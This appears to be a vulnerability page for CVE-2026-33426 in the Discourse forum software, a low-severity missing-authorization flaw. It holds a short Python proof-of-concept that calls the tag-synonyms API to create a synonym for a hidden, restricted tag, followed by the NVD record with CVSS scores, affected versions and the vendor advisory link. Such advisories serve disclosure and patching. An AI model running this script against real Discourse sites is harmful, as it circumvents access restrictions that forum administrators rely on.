CVE-2026-33426

import requests # Exploit concept: User with tag editing capability creates a synonym for a hidden tag. # This requires authentication (cookie or token) and the target tag ID. TARGET_URL = "https://target-discourse.com/tag/synonyms" API_KEY = "YOUR_API_KEY_OR_USERNAME" API_USERNAME = "YOUR_USERNAME" # The hidden tag ID or name (assumed attacker knows or guesses it) HIDDEN_TAG_NAME = "restricted-tag-name" SYNONYM_NAME = "public-synonym-name" headers = { "Content-Type": "application/json", "Api-Key": API_KEY, "Api-Username": API_USERNAME } payload = { "synonym": { "name": SYNONYM_NAME, "target_tag": HIDDEN_TAG_NAME } } # Send POST request to create synonym response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully created synonym for hidden tag.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-33426", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:27.170", "lastModified": "2026-03-24T19:56:39.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, users with tag-editing permissions could edit and create synonyms for tags hidden in restricted tag groups, even if they lacked visibility into those tags. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, los usuarios con permisos de edición de etiquetas podían editar y crear sinónimos para etiquetas ocultas en grupos de etiquetas restringidos, incluso si carecían de visibilidad sobre esas etiquetas. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-2289-4m46-2hxh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}